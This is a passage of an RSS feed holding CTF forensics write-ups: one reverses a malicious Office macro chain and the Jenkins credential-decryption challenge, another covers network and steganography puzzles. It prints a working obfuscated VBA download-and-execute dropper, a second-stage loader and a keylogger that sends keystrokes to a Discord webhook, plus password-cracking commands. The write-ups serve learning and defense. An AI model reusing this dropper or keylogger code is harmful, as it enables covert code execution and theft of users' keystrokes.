_<br>    ByVal f1FfQ As LongPtr) As Long<br><br>Public Function b1BbR(c1CcR As String) As String<br>    Dim d1DdR As Integer<br>    Dim e1EeR As Integer<br>    Dim f1FfR As String<br>    <br>    If Len(c1CcR) = 0 Or Len(c1CcR) Mod 2 &lt;&gt; 0 Then Exit Function<br>    <br>    d1DdR = Len(c1CcR)<br>    <br>    For e1EeR = 1 To Len(c1CcR)<br>        If e1EeR Mod 2 &lt;&gt; 0 Then<br>            f1FfR = f1FfR &amp; Chr$(Val(&quot;&amp;H&quot; &amp; Mid$(c1CcR, e1EeR, 2)))<br>        End If<br>    Next<br>    <br>    b1BbR = f1FfR<br>End Function<br><br>Sub c1CcS()<br>    Dim d1DdS As String<br>    Dim e1EeS As String<br>    Dim f1FfS As String<br>    Dim g1GgS As String<br>    Dim h1HhS As Long<br>    Dim username As String<br>    <br>    username = Environ(&quot;USERNAME&quot;)<br>    d1DdS = &quot;68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67&quot;<br>    <br>    e1EeS = j2JjS(d1DdS)<br>    <br>    f1FfS = b1BbR(e1EeS)<br>    <br>    g1GgS = &quot;C:\Users\&quot; &amp; username &amp; &quot;\AppData\Local\pp.py&quot;<br>    <br>    h1HhS = a1AaQ(0, f1FfS, g1GgS, 0, 0)<br>    <br>    If h1HhS = 0 Then<br>        MsgBox &quot;File downloaded successfully.&quot;, vbInformation<br>        &#39; Run the Python script<br>        RunPython<br>    Else<br>        MsgBox &quot;Failed to download file.&quot;, vbExclamation<br>    End If<br>End Sub<br><br>Function j2JjS(k2KkS As String) As String<br>    Dim l2LlS As String<br>    Dim m2MmS As Integer<br>    For m2MmS = 1 To Len(k2KkS)<br>        Select Case Asc(Mid(k2KkS, m2MmS, 1))<br>            Case 65 To 77, 97 To 109<br>                l2LlS = l2LlS &amp; Chr(Asc(Mid(k2KkS, m2MmS, 1)) + 13)<br>            Case 78 To 90, 110 To 122<br>                l2LlS = l2LlS &amp; Chr(Asc(Mid(k2KkS, m2MmS, 1)) - 13)<br>            Case Else<br>                l2LlS = l2LlS &amp; Mid(k2KkS, m2MmS, 1)<br>        End Select<br>    Next m2MmS<br>    j2JjS = l2LlS<br>End Function<br><br>Sub RunPython()<br>    Dim PythonExe As String<br>    Dim PythonScript As String<br>    Dim Command As String<br>    Dim username As String<br>    <br>    username = Environ(&quot;USERNAME&quot;)<br>    <br>    PythonExe = &quot;C:\Users\&quot; &amp; username &amp; &quot;\AppData\Local\Microsoft\WindowsApps\python3.exe&quot;<br>    PythonScript = &quot;C:\Users\&quot; &amp; username &amp; &quot;\AppData\Local\pp.py&quot;<br>    Command = PythonExe &amp; &quot; &quot; &amp; PythonScript<br>    <br>    Shell Command, vbNormalFocus<br>End Sub</pre><p>The Code seems to be obfuscated</p><p>With the help of chatgpt, I converted the code to Python (a programming language I am good with)</p><pre>import os<br>import base64<br>import requests<br>import subprocess<br><br>def decode_rot13(input_str):<br>    result = []<br>    for char in input_str:<br>        if &#39;A&#39; &lt;= char &lt;= &#39;M&#39; or &#39;a&#39; &lt;= char &lt;= &#39;m&#39;:<br>            result.append(chr(ord(char) + 13))<br>        elif &#39;N&#39; &lt;= char &lt;= &#39;Z&#39; or &#39;n&#39; &lt;= char &lt;= &#39;z&#39;:<br>            result.append(chr(ord(char) - 13))<br>        else:<br>            result.append(char)<br>    return &#39;&#39;.join(result)<br><br>def hex_to_ascii(hex_str):<br>    ascii_str = &quot;&quot;<br>    for i in range(0, len(hex_str), 2):<br>        ascii_str += chr(int(hex_str[i:i+2], 16))<br>    return ascii_str<br><br>def download_file(url, local_path):<br>    response = requests.get(url)<br>    with open(local_path, &#39;wb&#39;) as file:<br>        file.write(response.content)<br>    return response.status_code<br><br>def main():<br>    obfuscated_url = &quot;68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67&quot;<br>    <br>    decoded_url = decode_rot13(obfuscated_url)<br>    actual_url = hex_to_ascii(decoded_url)<br>    username = os.getlogin()<br>    local_path = f&quot;C:\\Users\\{username}\\AppData\\Local\\pp.py&quot;<br><br>    status_code = download_file(actual_url, local_path)<br>    <br>    if status_code == 200:<br>        print(&quot;File downloaded successfully.&quot;)<br>        run_python_script(local_path)<br>    else:<br>        print(&quot;Failed to download file.&quot;)<br><br>def run_python_script(script_path):<br>    python_exe = f&quot;C:\\Users\\{os.getlogin()}\\AppData\\Local\\Microsoft\\WindowsApps\\python3.exe&quot;<br>    subprocess.run([python_exe, script_path], check=True)<br><br>if __name__ == &quot;__main__&quot;:<br>    main()</pre><p>In the main() function we find that obfuscated_url is decoded from rot13 and then from hex to ascii, we can use bash one line to do this</p><pre>echo &quot;68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67&quot;  | rot13 | xxd -p -r</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_-1VIpJ3LVwbGLaBiDkXlw.png" /></figure><p>Now we got a Google Drive <a href="https://drive.google.com/file/d/1vEsAKDf71dwc3bgBor282kLTasbl33HS/view?usp=sharing">link </a>, which contains Python code which used in macros code to run pp.py using python.exe on Windows</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*dYRoH0G_bP-tF5TvJRJtUA.png" /></figure><p>The content of Google Drive pp.py file is :</p><pre>import os<br>import requests<br><br>def download_file_from_google_drive(file_id, destination):<br>    URL = &quot;https://docs.google.com/uc?export=download&quot;<br><br>    session = requests.Session()<br><br>    response = session.get(URL, params={&#39;id&#39;: file_id}, stream=True)<br>    token = get_confirm_token(response)<br><br>    if token:<br>        params = {&#39;id&#39;: file_id, &#39;confirm&#39;: token}<br>        response = session.get(URL, params=params, stream=True)<br><br>    save_response_content(response, destination)<br><br>def get_confirm_token(response):<br>    for key, value in response.cookies.items():<br>        if key.startswith(&#39;download_warning&#39;):<br>            return value<br>    return None<br><br>def save_response_content(response, destination):<br>    CHUNK_SIZE = 32768<br><br>    with open(destination, &quot;wb&quot;) as f:<br>        for chunk in response.iter_content(CHUNK_SIZE):<br>            if chunk:<br>                f.write(chunk)<br><br>def hex_to_binary(hex_str):<br>    return bytes.fromhex(hex_str)<br><br>def save_binary_to_file(binary_data, file_path):<br>    with open(file_path, &#39;wb&#39;) as file:<br>        file.write(binary_data)<br><br>def reverse_hex_conversion(file_path, output_file):<br>    with open(file_path, &#39;r&#39;) as file:<br>        hex_content = file.read().strip()<br>    binary_data = hex_to_binary(hex_content)<br>    save_binary_to_file(binary_data, output_file)<br><br>def run_retrieved_file(file_path):<br>    os.system(file_path)<br><br>if __name__ == &quot;__main__&quot;:<br>    # Download the file and save it as file_hex.txt<br>    file_id = &quot;1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0&quot;<br>    input_file = &quot;file_hex.txt&quot;<br>    download_file_from_google_drive(file_id, input_file)<br>    <br>    # Convert hex to binary and save it as L3AK.exe<br>    output_file = &quot;L3AK.exe&quot;  <br>    reverse_hex_conversion(input_file, output_file)<br>    <br>    # Execute the retrieved file<br>    run_retrieved_file(output_file)<br>    <br>    print(&quot;File retrieved and executed as L3AK.exe&quot;)<br></pre><p>This script downloads a file from the following <a href="https://docs.google.com/uc?export=download&amp;id=1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0">link</a>, which is a file containing hex values of the L3AK.exe file , After running the code we will get an L3AK.exe file</p><p><strong>Thanks to my friend </strong><a href="https://s3dny.medium.com/?source=---two_column_layout_sidebar----------------------------------"><strong>S3dny</strong></a><strong> who helped me reverse the Executable file </strong>💖💖</p><p>Using the <a href="https://github.com/horsicq/DIE-engine/releases">Detect It Easy program</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*Qj6B-trX5yEefkhCd5eaiA.png" /></figure><p>we found the L3AK.exe is packed with PyInstaller, So our next step was to use <a href="https://github.com/extremecoders-re/pyinstxtractor">pyinextractor </a>to extract the pyc files that are inside the exe</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BvNQgrgNzLOjh5Ln8C1M2g.png" /></figure><p>We found<strong> a keylogger.pyc</strong> file which seems <em>suspicious, after that we can use </em><a href="https://pylingual.io/"><em>online </em>Python bytecode decompiler</a> to get the source code of the <a href="https://pylingual.io/view?identifier=57032c49f8c3ac56b2647f7bdd7a33a112b09ece8d91cb3de7aebe4eda80796c">keylogger.pyc</a></p><pre># Decompiled with PyLingual (https://pylingual.io)<br># Internal filename: keylogger.py<br># Bytecode version: 3.12.0rc2 (3531)<br># Source timestamp: 1970-01-01 00:00:00 UTC (0)<br><br>from pynput.keyboard import Listener, Key<br>from threading import Timer<br>from dhooks import Webhook<br>WEBHOOK_URL = &#39;https://discord.com/api/webhooks/1240207195849883739/IrZDxAPOwxaHyUOZCcqLVQSRhl4FjwaYzaCUJTvEdmf5Y_jKmzxUMuz2jp3UyRnrvfsl&#39;<br>INTERVAL = 30<br>hjlkhas = &#39;aHR0cHM6Ly9kaXNjb3JkLmdnL3Bzd1R0VW5wSkM=&#39;<br><br>class Keylogger:<br><br>    def __init__(self, WB_URL, interval=30):<br>        self.WB_URL = WB_URL<br>        self.interval = interval<br>        self.log = &#39;&#39;<br>        self.special_keys = {Key.space: &#39; &#39;, Key.enter: &#39;\n&#39;, Key.tab: &#39;\t&#39;, Key.backspace: &#39;[BACKSPACE]&#39;, Key.esc: &#39;[ESC]&#39;}<br>        self.current_keys = set()<br><br>    def _send_info(self, log):<br>        if log != &#39;&#39;:<br>            webhook = Webhook(self.WB_URL)<br>            webhook.send(log)<br><br>    def _key_down(self, key):<br>        if key in self.special_keys:<br>            self.log += self.special_keys[key]<br>        elif isinstance(key, Key):<br>            self.current_keys.add(key)<br>        elif Key.shift in self.current_keys or Key.shift_r in self.current_keys:<br>            self.log += key.char.upper()<br>        else:<br>            self.log += key.char<br>        if key == Key.backspace and len(self.log) &gt; 0:<br>            self.log = self.log[:-11]<br><br>    def _key_up(self, key):<br>        if key in self.current_keys:<br>            self.current_keys.remove(key)<br><br>    def _report(self):<br>        self._send_info(self.log)<br>        self.log = &#39;&#39;<br>        Timer(self.interval, self._report).start()<br><br>    def run(self):<br>        self._report()<br>        with Listener(on_press=self._key_down, on_release=self._key_up) as listener:<br>            listener.join()<br>if __name__ == &#39;__main__&#39;:<br>    Keylogger(WEBHOOK_URL, INTERVAL).run()</pre><p>We found a variable <strong>hjilkhas which contains base64 encoded text</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2yLPss2Ab4UV2ou-EQjFLA.png" /></figure><p>After Decoding, we got a Discord server <a href="https://discord.gg/pswTtUnpJC">link</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WBCOwynNmP-ESV2MzxR3fA.png" /></figure><p>After we joined the server we got the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*LBddFJzCcrxvjXNZ2wdB6w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*lYRlEOkAWA2IYNa7HzA24A.gif" /></figure><pre><br>L3AK{D1sc0rd_WebH00ks_4re_C001}</pre><blockquote><strong>Challenge</strong>: <strong><em>Imposter<br>Category: Network Forensics</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*jYBqlGJqS8Kj4ARWDRtTdA.png" /></figure><p>You can find the challenge file <a href="https://ctf.l3ak.team/files/d7228634f3f2bc5d2b0fc39f1a4d25ca/challenge.zip?token=eyJ1c2VyX2lkIjozNzksInRlYW1faWQiOjE1OCwiZmlsZV9pZCI6NjR9.ZlOD9g.xyy_HBeZTM7LCnGE4jM2qTNsoZ0">Here</a></p><p>We are given a <strong>challenge.pcapng</strong> and <strong>auth.log</strong> files, After I opened challenge.pcapng with Wireshark and checked the Protocol Hierarchy Statistics</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HzNQKDAl0L4-yw-rD2crog.png" /></figure><p>I found HTTP Traffic which is not a secure protocol and the data was sent in plaintext so I started with it.</p><p>After following the HTTP stream, I found a GET request that gets a file with the name {data.bin}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*es3IhfGIzc4sczmZs60vlQ.png" /><figcaption>http stream</figcaption></figure><pre>QMSKuQ1jyJEwJYVQPQNGfTdsjT1dbfPBxU1kCuYTwUZC552VDJdFC3NNY6cy5hEm1hAEQn31sJH6VRtknUWjTMyRT5Q4swp71q6QfLX3wCLrgfiDYXGeim49bUpgbSdDfc2EZbgBhBeL8tC2GrPogAAVN1BQ14pEVDm7TzsFNUqvLjLk7M6vY9UsemS1m4AzVshZCSs6sY31f5UCkYC6BbvWUrqFeab5m5DCxZFroHHuCKu6yQQA4BJeASiicfoktdUWHtQeszxuQi6HXBQGytZ5mtGSbbhn2UZngWENU6ESZVLrG3siwz3uFCQw71H78Q29YXgqZb6sv4uDhS95YV3ae8DKLMwrm5c9wWuhM24</pre><p>This file contains data that seems encoded, so I checked the auth.log file manually and I found the encoding is base58</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*fcu8SsUBivtjV3YhB-BIZw.png" /><figcaption>from auth.log</figcaption></figure><p>After decoding the text, we got a bash script with job_name variable containing base64 encoded string</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S4NIfSHN4HM43tc1sZTV6g.png" /></figure><pre>RV8zMGQ4NGQ4MDFiMjk0N2YxYmQyZmFhZTRmZGNiYjkyNn0=</pre><p>After decoding the base64 we got the end of the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w1PaJsECTRw5JG5Ul36h4g.png" /></figure><pre>END OF THE FLAG --&gt; E_30d84d801b2947f1bd2faae4fdcbb926}</pre><p>Now we have the second part of the flag, where is the first ?????</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*HJ6HU-kxQw7L0EKGRbBoSw.gif" /></figure><p>Let’s see the data sent by <strong>WebSocket Protocol</strong>.<br>After filtering the wireshark packets with WebSocket</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ExiG144ytY2G_n9nW2_AGQ.png" /></figure><p>I found a stream of data communication between<br><em> 192.168.222.151 &amp; 192.168.222.157</em> <br> <br>I used <strong>tshark </strong>to extract this data using the following command :</p><pre>tshark -r challenge.pcapng -Y &quot;websocket&quot; -T fields -e data | xxd -r -p </pre><p>I found three interesting things :</p><p>1s_0n_3dg → part from the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SdZOij3URxhhZxnyyagVCA.png" /></figure><pre>1s_0n_3dgE_30d84d801b2947f1bd2faae4fdcbb926}<br></pre><p>the other things are <strong>jenkins/secrets/master.key &amp; /jenkins/credentials.xml</strong></p><p>The master.key contains hex values</p><pre>605e14585c4ed5ee661222614b7c490deefa41e465ccc2c700c4fd653a749a62b1ee7e5ffb48167684567c91aa5da99571f6ce0c28d379a2a7891eb0557f2f582e12006531f7f640d458427715d23124593bedd630c1afaef6efb19fd3d27af99eea4e3088760a92608547753bf34998494433d1656763418c11c3723d37f2ba</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fht-h67_v2dTClrYexg70Q.png" /></figure><p><strong>credentials.xml contains a password</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IodyyyxK5w3hflCLkLCHCg.png" /></figure><p>After that, I wanted to know more about these credentials and keys,<br>I found the following <a href="https://www.codurance.com/publications/2019/05/30/accessing-and-dumping-jenkins-credentials">blog</a></p><p>The blog illustrates that these keys used together to decrypt the credentials</p><pre>{AQAAABAAAAAgZv2vv4JB/AgWN1I47+8m9yZ+me7oTd6xvWNvtk5vJcx6UTPCzAvPcL3ugFrzQ0L+}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_Jw_fYMeZwdib08XsnD0EA.png" /></figure><p>Now we have a master.key &amp; credentials.xml and we need to find the third secret (hudson.util.Secret)</p><pre>master.key <br>hudson.util.Secret <br>credentials.xml</pre><p>I returned back to the Wireshark and I filtered packets on data</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YkYbwHuIUpxKuPCNWra6lg.png" /></figure><p>I found only one TCP packet that contains the hudson.util.Secret</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bw0FHaj2Nvyz-MtkmSmfbg.png" /></figure><pre>bVQLtMSaYTJHySBnbSLHJ0jLKH6td7bT6cpiphGg6SGwLFlIVn8RW/9ZVuF4NvBYPTfS1Y1BSBjB<br>gGxl5Vb+H4Tr+D7XGW91Z9Md9iRM9i3AtvP/PydyMNjKttbgSNH6b4E/8KkE+lB1qTJUDEEDShRi<br>BQvotLzecEE7OyIdl9NXEn6Z09geuBlVWz2ZIdYl10f2LtFsMvyUX6fB/5r0sxuvM3/xBbSih1gL<br>Il0lTszGbjqr1uzF92Z+8go5eI+kB6W81a+2SYyj5MY29LKklmqHLlz3G4a42UY1wjWZEtD3Q6Q1<br>96EQ72RkEtfnSCbRSAL8EjbhkNFO6z250tKoxAA4YFhA+RiFKreJHR/3nJE=</pre><p>From the auth.log file, I found that hudson.util.Secret is base64 encoded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JDomOZLo2at4FZ4zw0a8iA.png" /></figure><p>I found many <a href="https://github.com/tweksteen/jenkins-decrypt/tree/master">scripts </a>used to decrypt but unfortunately, nothing really worked.😓</p><p>At this point,<strong> I collaborated with my Great friend </strong><a href="https://medium.com/@em07robot"><strong>em07robot </strong></a><strong>who plays cryptography ❤️ 🤝.</strong></p><p>We tried to write new scripts or edit the online scripts but nothing worked, so We tried to think out of the box</p><p>we made a setup for Jenkins Dashboard locally and tried to replace the 3 files we found with the original ones of the dashboard</p><p>After that we found the master.key at `~/.jenkins/secrets`, and we replaced this master.key with the one we found → (1)</p><p>we did not find the credentails.xml or hudson.util.Secret in the Jenkins files, after some research we found that these files are created when you first configure credentials in Jenkins</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qp_1Ydd44dZCXTkkaTdi9A.png" /></figure><p>now we searched how to configure credentials in jenkins , we found that the following path `/manage/credentials/store/system/domain/_/newCredentials`</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qcvb53SqE5LqYICugP2m4g.png" /></figure><p>after we created the credentials we found credentials.xml created at the following path `~/.jenkins` &amp; we found hudson.util.Secret created at `~/.jenkins/secrets` now we need to replace these files with the files we found</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bpoqSB2qHuK6A9huA-sIgQ.png" /></figure><p>then now we can use the <strong>Script console</strong> at the jenkins dashboard to decrypt the the password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TMaM-QjttD5LZ9AkzzEXMQ.png" /></figure><pre>import hudson.util.Secret<br><br>def encryptedString = &#39;{AQAAABAAAAAgZv2vv4JB/AgWN1I47+8m9yZ+me7oTd6xvWNvtk5vJcx6UTPCzAvPcL3ugFrzQ0L+}&#39; // Replace with your actual encrypted string<br>def decryptedString = Secret.decrypt(encryptedString).getPlainText()<br>println(decryptedString)</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZvmtewKLfcy_UEOPEE5cAQ.png" /></figure><p>Now we are able to decrypt the password which is base64 string</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1jkaifKIhuTGUiAzzfKXXQ.png" /></figure><pre>TDNBS3tKM25rMW4kXw==  ---&gt; L3AK{J3nk1n$_</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*LrBFt5fApgfjMEjS3xz5vQ.gif" /></figure><pre>flag --&gt; L3AK{J3nk1n$_1s_0n_3dgE_30d84d801b2947f1bd2faae4fdcbb926}</pre><p>Thanks for your time and effort. I hope you liked and enjoyed reading it. ❤️❤️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b5575f07cba" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cyber Champions CTF Writeups for  All Forensics Challenges from R£v!l Team]]></title>
            <link>https://0xmr8anem.medium.com/cyber-champions-ctf-writeups-for-all-forensics-challenges-from-r-v-l-team-20e0c19c8b6b?source=rss-d899a329dd0f------2</link>
            <guid isPermaLink="false">https://medium.com/p/20e0c19c8b6b</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[steganography]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[teamwork]]></category>
            <category><![CDATA[forensics]]></category>
            <dc:creator><![CDATA[Ahmed Ghanem]]></dc:creator>
            <pubDate>Mon, 11 Mar 2024 11:09:12 GMT</pubDate>
            <atom:updated>2024-09-09T21:41:32.063Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cyber Champions CTF All Forensics Challenges Writeups from R£v!l Team</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xz2foml0omM4Lad_wttVng.png" /></figure><p><em>— — — — — — — — + — — — — — — — -+ — — — — +<br>| Challenge | Category | difficulty <br>+ — — — — — — — — + — — — — — — — -+ — — — — +<br>| </em>Suspect-I <em>| Network | easy <br>| </em>Battlefield Secrets <em>| </em>Steganography<em>| easy<br>|</em> YouKnowMe<em>| </em>Steganography<em>| Medium<br>|</em> Mosaic Reconnaissance<em>| </em>Steganography<em>&amp; Misc | Medium<br>|</em> FreeM3<em>| </em>Steganography<em>&amp; Misc | Hard<br>+ — — — — — — — — + — — — — — — — -+ — — — — +</em></p><p>First We would like to extend our heartfelt gratitude to Zinad and the Information Technology Institute (ITI) for organizing the Capture The Flag (CTF) event. Our team <strong>R£v!l</strong>, has prepared a detailed write-up to help others learn from the challenges and solutions encountered during the competition.</p><p>We encourage all participants to continue their learning journey in cybersecurity and CTFs. Keep exploring, keep learning, and never give up. We wish everyone the best of luck in their future endeavors and look forward to seeing you all again at the next CTF event.</p><p>Good Luck❤️❤️❤️</p><p><em>+ — — — — — — — — + — — — — — — — -+ — — — — + — — — — — — — — + — — — — — —</em></p><blockquote><strong><em>Challenge</em></strong><em>: </em><strong>Suspect-I</strong><br><strong><em>Category: Network</em></strong><em><br></em><strong><em>difficulty: </em></strong><em>Easy</em></blockquote><p>You can find the file <a href="https://zisoft-videos.s3.eu-west-1.amazonaws.com/CTF/Suspect-1.pcapng.zip">Here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7NhKXkBOGbAesh-1UHu4TQ.png" /></figure><p>After we opened the pcap file with Wireshark, we found the pcap consists of 5419 packets and there a many packets sent using telnet protocol which caught our eyes :<br> <strong>Telnet Protocol is Not secure as there is no encryption used to ensure the confidentiality</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FhyR5yeizbJLLXGX-3LEjw.png" /></figure><p>so we start to look at the statistics, There are 566 packets sent using telnet that may contain sensitive data</p><p>so we start to look at the TCP stream</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9CV1qzHPZZWE2KdHwklB_Q.png" /></figure><p>after we searched in the streams we found the flag as Non encrypted password at stream number 12</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C1ZVEpDp_IG9fMwK4_LU4Q.png" /></figure><pre>flag: ZiChamp{T3ln3t_Re@llY_Br0}</pre><pre>Recommendation: using protocols that use encryption like SSH is more secure and prevents attacks like man in the middle</pre><p><em>+ — — — — — — — — + — — — — — — — -+ — — — — +— — — — — — — — + — — — — — —</em></p><blockquote><strong><em>Challenge</em></strong><em>: </em>Battlefield Secrets<br><strong><em>Category: </em></strong><em>Forensics<br></em><strong><em>difficulty: </em></strong><em>Easy</em></blockquote><p>we got a Battlefield-Secrets.7z compressed file, After we extracted it using <strong>7z</strong> we found a jpg image with the name Army.jpg</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zFjuP0ESlj8uEzZ0ExkXDQ.png" /><figcaption>Army.jpg</figcaption></figure><p>I always start with Exiftool to check the Meta Data of the image</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ggb3JthsETbmT9h3zabpEw.png" /></figure><p>I found a Base64 encoded in the field of the Camera Model name, After decoding it we found something like a password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*uRXJJY0krdjVhGv9LAK0ow.png" /></figure><pre>Z!C@mp10n</pre><p>We Tried to use Binwalk and Foremost tools but we found nothing, so We Thought that we should use the password we found to extract the data in the image so we used the steghide tool with the following command</p><pre>steghide extract -sf Army.jpg</pre><p>After that, we were asked for the password so we gave it the password we found above Z!C@mp10n Yes we found a file called flag.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*WtAvIK7fOlmKt1DDWgQaSA.png" /></figure><p>After that, we tried to extract the content of the flag.txt but we found a <br>unreadable data is extracted</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D2KXxxBL8NtVrEaQUP8ciA.png" /></figure><p>from the first line, we found a hint that told us that this was a Wave file <br>we tried to find the file type with the file command but we found nothing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*mLkurqDhDMqeq8pi66BTmw.png" /></figure><p>so we thought that this was a corrupted wave file that we should repair, so we started to look at the magic bytes of the file with the hexeditor tool and also we searched for the magic bytes for the Not corrupted wave file</p><p>You can find the magic bytes of the most famous files <a href="https://en.wikipedia.org/wiki/List_of_file_signatures">here</a></p><p>Searching for wav you can find the following magic bytes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IcxNIh_gn1hzToYJNLNbUA.png" /></figure><p>after that, we start to compare and correct the magic bytes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dSDNKVy-JOr1PsrxFxkIxg.png" /></figure><p>As we can see the second part of the magic bytes marked with red is correct and this indicates that the file is a wave file. so let’s correct it and see the results</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qeag-5vIyq_W4FXqXe38zA.png" /></figure><p>This was the final result we corrected the corrupted bytes and renamed the file to a .wav file and Yes the file works well and gives us sounds which is a Morse code you can read about</p><p>Now we need to decode the Morse code, so I started to search for an online Morse decoder and finally, I found the following great decode <a href="https://morsecode.world/international/decoder/audio-decoder-adaptive.html">Here</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u8wWvXEy9jXSL1EF6nCtKg.png" /></figure><p>After Uploading the file and Play it, we got the Flag</p><pre>flag : ZiChamp{5AVU3L-M0R53-@ND-@LFR3D-V@!1-1NV3NT3D-M3}</pre><p><em>+ — — — — — — — — + — — — — — — — -+ — — — — + — — — — — — — — + — — — — — —</em></p><blockquote><strong><em>Challenge</em></strong><em>: </em>YouKnowMe<br><strong><em>Category: </em></strong><em>Steganography<br></em><strong><em>difficulty: Medium</em></strong></blockquote><p>You can find the file of the challenge <a href="https://zisoft-videos.s3.eu-west-1.amazonaws.com/CTF/You-Know-Me.zip">Here</a></p><p>We got a file called You-Know-Me.zip, After we extracted it we found a Directory called Challange is extracted, Challange directory has 7 files with unreadable names</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RealsdQRDVN7wL5fP9tHvA.png" /></figure><p>I started to check the file type of all the files above</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fS-ezg2L_iXd7bJQkEiWIQ.png" /></figure><p>I found a file with the name “_u8ae2e9e-dee0–45f9-b722–43753a8561bb.jpg” This file is a PDF file, not jpg so I renamed this file to file1.pdf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1OHuaROA9vbBAo9OcgyLZg.png" /></figure><p>I tried to open the PDF and I was asked for the password, I tried to crack the password with John</p><p>At first, we need the password hash to crack so we start with the following john tool (pdf2john) and save output to a file called hash</p><pre>pdf2john file1.pdf &gt; hash</pre><p>After we Extracted the hash we started to crack it using the famous wordlist rockyou.txt with the following command</p><pre>john hash --wordlist=/usr/share/wordlists/rockyou.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jt5wvMtBFW0SO4xo3gj9AA.png" /></figure><p>The Password was cracked successfully</p><pre>password: 187rideordie</pre><p>Now we Opened the PDF file with the Password Above and got the following Base64 encoded text</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HGnwcWnAmid0bmg1JVeOuw.png" /></figure><pre>U1ZOR1FWRkRUV3BLUTFKdFdWZEthbEZWUlQwPQ==</pre><p>Decoding this 3 times we will get a strange word.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VVD26iZLMbs00cXzr9-CtQ.png" /></figure><p>At that moment I thought this was a password for something we should get from the rest of the files</p><pre>password: !!@@##$$fabcAA</pre><p>At first, I renamed all of the files from image1.jpg to image6.jpg to be able to distinguish between them</p><ul><li>I started with ExifTool for * images nothing found</li><li>Then I tried binwalk and foremost still nothing found</li><li>Then I tried Steghide with the password we found (!!@@##$$fabcAA) on<br>the images one by one but also nothing found</li><li>Then I tried to play with the layers of the images using the Stegsolve tool but also nothing found</li><li>Then I started to check the Lsb and Msb of the images one by one nothing worked</li><li>After that I started to open images on the online Stego platform <a href="https://georgeom.net/StegOnline/">Here</a></li></ul><p>I started to open images one by one on this Stego platform and I looked for the strings in each image</p><figure><img alt="" 